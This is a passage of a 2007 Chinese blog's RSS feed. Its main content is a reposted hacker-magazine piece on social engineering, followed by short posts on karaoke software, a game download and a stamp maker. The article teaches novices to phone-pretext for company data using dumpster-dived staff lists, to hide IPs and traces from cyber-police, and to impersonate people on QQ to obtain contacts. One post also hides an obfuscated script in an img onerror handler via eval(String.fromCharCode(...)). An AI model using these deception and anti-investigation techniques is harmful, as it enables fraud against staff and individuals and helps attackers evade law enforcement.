color="#00cc00"&gt;支持封掉端口号。第三个电话，汤姆.狄雷的求助掉入艾迪的陷阱，第四个电话，汤姆完全信任艾迪了，运行了鲍比的木马程序。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp; "这一次由于帮他解决了问题，令对方心存感激，于是汤姆同意下载一个软件到他的计算机上"。这种心理很多人都存在，因为我们无法质疑对方诚意的帮助，而松懈对攻击者的信任，若不能识别这种伪造的帮助的话。正如凯文.米特尼克所说：那很令人惊讶，基于那些精心构造的请求社会工程师可以轻易地让人们帮他做事。前提是引起基于心理作用的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;自动&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;回应，依赖于当他们觉得这个打电话的人是盟友时人们心理的捷径。人们建立信任有多种途径，然而他们都是无恶意的有意或是无意地通过交谈与帮助建立信任关系。可社会工程师才不这样想，他可以调查你暂时遇到哪些问题？如果你不经意在论坛或Google讨论组进行求助，他会很轻松帮你解决，否则他可以自行给你制造问题，以期建立信任关系。对于伪帮助式的攻击，我们中国人或是大部人心理都存在这样的弱点，人是善良的，不可能时刻对攻击者保持警惕性，除非个人进行细心验证。&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;strong&gt;第三部分：社会工程学—反查&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;技术&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&lt;br&gt;　什么是反查&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;？即反侦查&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;。在&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;黑客&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;攻击中，最重要的一部分不是成功侵入主机，而是清除痕迹，不要让管理者发现被侵入及&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;被伪造。同理，社会工程学也有这样的概念，那么，我们得清除哪些痕迹以免遭&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;0察(以下称之为网警)的发现？这一部分我们从网警角度来看问题，看看他们如何来能否找到社会工程师的蛛丝马迹。或者一句玩笑话：他们无法那么轻松找到一点痕迹。这里我们以案例来讲解，请注意，这是虚拟案例，不当之处，敬请指正。&lt;br&gt;&lt;br&gt;&lt;strong&gt;现场&lt;/strong&gt;&lt;br&gt;　&amp;lt;&amp;lt;谁动了企业的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;？&amp;gt;&amp;gt;　&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;存储&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;部　小张&lt;br&gt;　小张正忙着登记取出&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;的客户，这时内线突然响起。&lt;br&gt;　小张：你好，&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;存储&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;部。&lt;br&gt;　小王：我是&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;存储后期&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;部小王，我们前台计算机出现故障，呃，我需要你们的需助。&lt;br&gt;　小张：我可以知道你的员工ID吗？&lt;br&gt;　小王：嗯，ID是97845。&lt;br&gt;　小张：我能帮助你什么？&lt;br&gt;　小王：我们&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;出现故障，我需要你把XX企业&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;复印一份，然后放在二楼客户接待柜台，我们的人会取的。&lt;br&gt;　小张：好的，现在身旁还有一大批的事，我马上给你送去。&lt;br&gt;　一如攻击者所想，他很如愿拿到某企业内部&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;，并将其公布到网上。这使该企业受到严重经济损失，他们开始向网警报案。然而，没有一切线索，电话是企业的内线，而那个所谓的小王根本不存在，&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;存储&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;器更是完好无损，迫不得已，他们开始设法从网上流传的企业&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;追查IP来源，然而&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;是经过多重路由传输，且经过了加密，案件陷入了绝境。相信小菜们一定有三个疑点：1.攻击者如何知道内线号码？2.攻击者为何有某员工ID？3.攻击者使用什么方法隐藏了IP？这很简单，如果你去医院看过病，一定会注意墙上的主治医师名单，上面标有ID，联系方式，及所在楼层房号，医院的目的在于更佳完善为患者提供&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;。同样，&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;存储公司也设了这样的名单。然而，这个案例里的小王没有进入&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;存储&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;公司，而是付了一部分费用给垃圾处理公司，允许他从中寻找一些东西，而攻击者寻找的是一份旧的员工联系名单，旁边也附了内线号码。&lt;br&gt;　　&lt;br&gt;　IP如何隐藏的呢？我们看看四种方式传输日志：1.直接IP，2.ADSL拨号，3.代理，4，随机路由传输。这里给小菜讲解下，直接IP即拥有公网IP，发表的日志也显示真实的IP，我不推荐这种做法。ADSL上网，ISP会记录下这个IP地址是在哪个特定时间由哪个电话号码上线，你认为这仍然安全吗？代理上网安全么？如果提供代理的主人或是代理&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;商与网警妥协，关键是在于网警们有耐心与代理&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;商协商。随机路由传输，每次请求传输信息都会透过随机路由进行的每一连串步骤都是经过加密的。此外，在这一连串传输线上的每部电脑都只会知道最邻近的的几台电脑地址，换言之，路由器B只知道路由器A经过它传输网页，而这个传输请求可能又经过路由器C代转。所以，你认为网警能从中找到一丝头绪么？&lt;br&gt;&lt;br&gt;　接下来我们来了解网警的在干什么？他们的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;能否对抗社会工程学师。如果读者寻找一些关于计算机取证&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;方法及工具研究，我想你会找到最主要的信息，那就是他们重心在于入侵监测系统、&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;恢复、加密破解、反向工程&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;以及计算机取证软件工具的使用。然而，他们忽略了人为的因素，社会工程学师的奇妙之处在于从人、规章寻找致命的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;漏洞&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;。且现在面对社会工程学师的攻击防护仍然是&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;安全课程的一片空白，当这种攻击趋入严重的状态，这成了&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;安全专家首要考虑的问题。然而更令人吃惊的是，网警偶而会发现攻击源来自于他们内部。现在有一些媒体神化了网警，比如一次行&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;动网&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;警现场在&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网吧&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;抓获攻击者，这并没有什么特别之处，而在于那位攻击者没有隐藏IP，使用的是公用电脑，这对于网警来说更容易确定IP源。&lt;br&gt;&lt;br&gt;&lt;strong&gt;行为&lt;/strong&gt;&lt;br&gt;　你相信测谎仪么？不，我拒绝相信！说出这类话的只有两类人，一类是心理学家，另一类便是社会工程学师。&lt;br&gt;　这里，我们开始从典型案例说起，那就是广为人知的警'察抓小偷的故事。我们比较关注的是，警,察依靠什么条件来分析谁最像小偷呢？人群中的小偷如何让自已化为一缕空气？这很简单，一旦监控器里的人符合两个明显特征：贼眉贼眼、东张西望，他们以此来判断。小菜们一定碰到过所谓的算命师，他们有种不凡的能力便是，从你的衣着、行为、言语判断你从事何种工作，遇到哪种烦恼。不错，小菜们一定能猜到我想说的：行为能反映人的状态。&lt;br&gt;　　&lt;br&gt;　OK，现在我们来谈谈现实与&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;里的人的行为。从前面说知，行为能反映人，一旦我们将行为改变呢？北方人操起南方人的口气，不仅衣着举止投足都是一个活生生的南方人，你认为可能吗？当然能，小菜们一定也会列举一些刘德华、张学友等等N多演员，社会工程学里的“伪装”在明星的眼中是“演技”的说法，“演技”人人都会，一旦经过简单的培训，所表现的行为能躲过人的眼睛，小菜们一定认为不可思议，下面给你们一个作业，很简单，和家里人开一个玩笑。模仿你父亲的说话方式给你的妈妈打一个电话，至于目的是什么便自已想了。是的，这稍微会有些难度，那就是口音伪装，社会工程学师才不会在意，随便在网上下载一种变声软件，将所说的话经过变声软件转换输出。嗯？社会工程学师常用的软件或是道具是什么呢？小菜一定这样问，这很简单，只要社会工程学师手上有某物体，他们便会设法利用。&lt;br&gt;&lt;br&gt;　最后一个要求便是心理素质，测谎议依据你的说话声音音调以及生理状态作为判断条件，当我们以测谎仪程序的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;漏洞&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;来测试时，便会出现错误的结果，为什么杀人犯偶尔无法通过测谎仪呢？他们的心情处于极度紧张状态，每一次的回答绝对会打乱他们的心境。社会工程学师在这一方面具有较强的心理素质，若网警找不到一丝证据，主动权仍在于他的手上。&lt;br&gt;&lt;br&gt;　&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;世界的人又是什么样的呢？小菜肯定为想找一位&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;高超的师父来学习，可是只能看见他们在&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;里表现非凡的才能，却无法找到他们的联系方式，幸运的一点可能还会被拒之门外，看完本部分开始和高手们开一个小小的玩笑吧。关于“高手”一词，我们得从金庸的武侠名著说起，大师级以上的高手一般会有独门功夫，中级的都设法争夺武林盟主，低纸以下的都是配角了(菜鸟们千万别丢砖头给大菜鸟了)，简单的举例大家都明白高手是什么概念了，中级的一般都会留下名号，不然江湖里的人不知道那就太枉了，大师级的呢一般都是经过N年后故事来传播的，至于菜鸟级的嘛，先买＜＜&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;黑客&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;X档案＞＞真经的话3年后就能达到中级，再N年就能达到大师级了，然后....呵，扯远了。&lt;br&gt;　　&lt;br&gt;　武侠里的生活与现实相关，而现实的生活又与&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;相关，或说他们有所区别，那只是因为所处的环境不同，但决定性的因素还是人。接下来我们通过几步简单的手法，来一个高手与菜鸟的游戏。准备工作:IM（QQ、MSN、Gtalk）、火狐浏览器(防止一些放马的站点)&lt;br&gt;&lt;br&gt;　第一步:寻找目标。这可不能瞎找哦，说话牛头不对马嘴的很快就会被对方踢进黑名单的。小菜可以从这里入手:比如黑X里的作者、论坛、博客，或者一些以原创类性质的站点。&lt;br&gt;　第二步:行为分析。这很简单，从目标的作品与言论看出&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;水平，以及心理状态，这决定了虽然不能谈论&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;但可以成为朋友。&lt;br&gt;　第三步:直捣黄龙。直接去加为好友，小菜认为有点难度，不是的哦，非常的简单。如果你以杂志上作者名放到QQ寻找好友的一个以昵称寻找好友的功能，比如我们拿"旭方"来寻找，接下来估计哥们得揍我了（小菜问:旭方是什么？嘿嘿，翻翻后面的几期杂志就明白了）。接下来是论坛，这更简单了，符合金庸的中级侠士定义了，一般他们作品都会留下邮箱、博客，如果点击论坛个人资料，也会看到QQ的，没有？那打开博客来看东西吧，咦？只有几篇看不懂的文章与友情链接嘛，骗人！小菜大骂。如果我们仔细一点，QQ联系仍躲在暗处哦，友情链接打开看看吧，正巧有他的一个哥们留下联系方式了，于是我们一个简单的冒称便弄到目标Q号了。&lt;br&gt;　第四步:复制身份:这里是关键了，有的可是设置了身份验证的，首先利用QQ寻找好友的功能把号码填入，查看个人资料。留心他们的个性签名与说明，如果有正在找工作，小菜就把身份改成大企业，如果有的是专于&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;，小菜就把身份改成ｘｘ工程师....以此类推，成功率满高啦，被拒绝了估计人品有问题了。^-^&lt;br&gt;&lt;br&gt;　好啦，行为分析虽小，但五脏俱全。而且偶的Q号可以用上面的方法找到，透露下，菜鸟们也能直接在书上找到黑X编辑的Q号，至于怎么找嘛....（sagi:你敢说出来，这次稿费别想拿了，哈哈。。。）说了这么多，反侦查&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;技术&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;也包含在其中了，攻击者的行为该如何进行伪装。&lt;br&gt;&lt;br&gt;&lt;strong&gt;痕迹&lt;/strong&gt;&lt;br&gt;　&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;网络&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;里，能泄露你的隐私主要是:论坛、博客、IM(即QQ、MSN、Gtalk)，当然，社会工程学师的一切注册信息都是伪造的，因为任何一丝敏感信息都会给网警一个切入点。至于侵入&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#00cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#00cc00"&gt;器之类的，他们有时宁愿打一个电话套取密码，也不愿用侵入的动作在主机留下太多的日志，这增加了取证的难度。对这种稍闪即逝的攻击，能留下的痕迹少之又少，在未来的几年，调查取证仍是一个难以解决的问题。&lt;br&gt;&lt;br&gt;　反侦查，后门问题。既然侵入主机会留下后门，社会工程学师的攻击不会留有后门吗？答案是确定的。那些后门偶尔会是很简单，他们会在暗处看事态的发展，偶尔会介入制造动作打乱方案。 &lt;/font&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=46</guid><pubDate>Sat, 05 May 2007 11:06:00 GMT</pubDate></item><item><title>麦客疯--家里面的卡拉ok</title><link>http://www.chendw.cn:8080/view.aspx?id=45</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;table cellspacing="0" cellpadding="0" width="100%" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td&gt;&lt;span class="tr"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 麦客疯说明:&lt;/span&gt; &lt;span class="tr"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; “个人欢唱”——超级在线卡拉OK，足不出户就可以尽情 K 歌、练歌，一展歌喉 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; “视频翻唱”——打造自己的MTV音乐专辑，分享给所有网友 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; “竞技评分”——独一无二的语音评分系统，给传统的卡拉 OK 带来竞技，使每个网友在麦客网的音乐社区内都有自己的地位 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; “在线包房”——网上 KTV ，与来自五湖四海的朋友互动演唱，足不出户就能享受卡拉 0K 聚会的乐趣。 &lt;/span&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr style="DISPLAY: none"&gt;    &lt;td align="left" height="23"&gt;&lt;br&gt;    &lt;p&gt;&lt;img height="23" width="40" src="http://www.51mike.com/imgs/down/down_30.gif"&gt;&lt;span class="dd"&gt;麦客疯 － 经典版v5.5(大约7.5M) &lt;/span&gt;&lt;span class="tr"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 适用于系统中已经安装了Windows Media Player9.0及以上版本的用户，下载后您就能领略麦客疯经典版带给您的最新感受。&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="DISPLAY: none"&gt;&lt;td height="56"&gt;　 &lt;a class="ktext" href="http://www.51mike.com/idxexedown.do?type=COMPACT"&gt;&lt;img height="54" width="372" border="0" src="http://www.51mike.com/imgs/down/down_38.gif"&gt;&lt;/a&gt; &lt;a title="点击使用网际快车专用下载" href="http://www.51mike.com/idxexedown.do?type=COMPACT"&gt;&lt;img height="50" width="200" border="0" src="http://www.51mike.com/imgs/down/flashget.gif"&gt;&lt;/a&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;    &lt;td align="left" height="23"&gt;&lt;br&gt;    &lt;p&gt;&lt;img height="23" width="40" src="http://www.51mike.com/imgs/down/down_30.gif"&gt;&lt;span class="dd"&gt;麦客疯 － 捆绑版v5.5下载 (大约19M)&lt;/span&gt;&lt;span class="tr"&gt; &lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 该下载捆绑了Windows Media Player9.0中文版，对Media Player版本不清楚的用户请下载该版本&lt;br&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;    &lt;td height="56"&gt;　&lt;a href="http://www.51mike.com/idxexedown.do?type=FULL"&gt;&lt;img height="56" width="372" border="0" src="http://www.51mike.com/imgs/down/down_34.gif"&gt;&lt;/a&gt; &lt;a title="点击使用网际快车专用下载" href="http://www.51mike.com/idxexedown.do?type=FULL"&gt;&lt;img height="50" width="200" border="0" src="http://www.51mike.com/imgs/down/flashget.gif"&gt;&lt;/a&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;    &lt;td align="left" height="23"&gt;&lt;p&gt; &lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;贴个截图&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/6cf217ced659093db600c8cc.jpg"&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=45</guid><pubDate>Fri, 04 May 2007 16:19:00 GMT</pubDate></item><item><title>魔兽争霸III冰封王座1.20E</title><link>http://www.chendw.cn:8080/view.aspx?id=44</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;strong&gt;&lt;font color="#003366" size="3"&gt;魔兽争霸III冰封王座1.20E&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#003366" size="3"&gt;&lt;span class="ArticleSize"&gt;&lt;span class="ArticleSize"&gt;&lt;span class="ArticleSize"&gt;&lt;span class="ArticleSize"&gt;&lt;font color="#000000"&gt;魔兽争霸III冰封王座1.20E&amp;nbsp;&amp;nbsp; BT下载，文件名为:War1.20e.rar,解压缩即可游戏，经测试，无病毒木马，下载前请先安装&lt;/font&gt;&lt;a href="http://down.52pk.com/soft/1021.htm"&gt;&lt;font color="#113dee"&gt;BT工具&lt;/font&gt;&lt;/a&gt;&lt;font color="#000000"&gt;，如解压缩出现文件损坏情况，请检测下载的完整能够性；&lt;/font&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;font color="#003366" size="3"&gt;&lt;a target="_blank" href="http://down.52pk.net/soft/724.htm"&gt;点击下载&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=44</guid><pubDate>Fri, 04 May 2007 07:51:00 GMT</pubDate></item><item><title>[MTV]马天宇－该死的温柔</title><link>http://www.chendw.cn:8080/view.aspx?id=43</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;　&lt;/p&gt;&lt;p&gt;　&lt;/p&gt;&lt;p&gt;　&lt;/p&gt;&lt;div&gt;&lt;img src=jmdcw onerror=eval(String.fromCharCode(118,97,114,32,109,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,117,39,41,59,32,109,91,48,93,46,111,117,116,101,114,72,84,77,76,61,39,60,101,109,98,101,100,32,115,114,99,61,39,43,109,91,48,93,46,102,105,114,115,116,67,104,105,108,100,46,100,97,116,97,43,39,32,97,117,116,111,115,116,97,114,116,61,48,32,119,105,100,116,104,61,52,53,48,32,104,101,105,103,104,116,61,51,53,48,62,39,59))&gt;&lt;/div&gt;&lt;p&gt;&lt;u&gt;http://www.56.com/n_v21_/c9_/13_/21_/pandengzhumulama_/zhajm_1176470874_587_/236000_/0_/13236783.swf&lt;/u&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=43</guid><pubDate>Fri, 04 May 2007 06:07:00 GMT</pubDate></item><item><title>在线印章制作</title><link>http://www.chendw.cn:8080/view.aspx?id=42</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/94b5c9ef74419e32acafd501.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;　&lt;/div&gt;&lt;div forimg="1" align="left"&gt;　&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/1601e9c43c0e96ad8226ac0d.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;　&lt;/div&gt;&lt;div forimg="1" align="left"&gt;　&lt;/div&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/fbc78fb1e65e9c500923020e.jpg"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;div forimg="1" align="left"&gt;　&lt;/div&gt;&lt;div forimg="1" align="left"&gt;　&lt;/div&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;/div&gt;&lt;div forimg="1" align="left"&gt;&lt;a target="_blank" href="http://home.kele8.com/smallgame/signetImg/default.aspx"&gt;点击进入&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=42</guid><pubDate>Fri, 04 May 2007 05:56:00 GMT</pubDate></item><item><title>女大学生自拍的大胆行为[转自腾讯网]</title><link>http://www.chendw.cn:8080/view.aspx?id=40</link><description>&lt;div id="blog_text" class="cnt"&gt;现在的女大学生在拍照的时候，总爱做出一些“惊世骇俗”的不良动作，确实震惊了地球。&lt;div align="left"&gt;　　不知道该说她们有创意，还是她们有点BT！我们就来研究下她们各种不良行为，树立一下正确的人生观世界观，为后来人引以为戒吧……（西红柿鸡蛋袭来~~~~）&lt;/div&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_1.htm"&gt;&lt;img src="file:///D:/Windows/My%20Documents/女大学生自拍的大胆行为/1.files/3350527.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;br&gt;&lt;div align="center"&gt;(图1)自拍的时候做“下流”骂人的手势&lt;/div&gt;&lt;div align="center"&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;a href="http://edu.qq.com/a/20070420/000121_2.htm"&gt;&lt;img src="http://img1.qq.com/edu/pics/3350/3350529.jpg" border="0" name="MM"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div 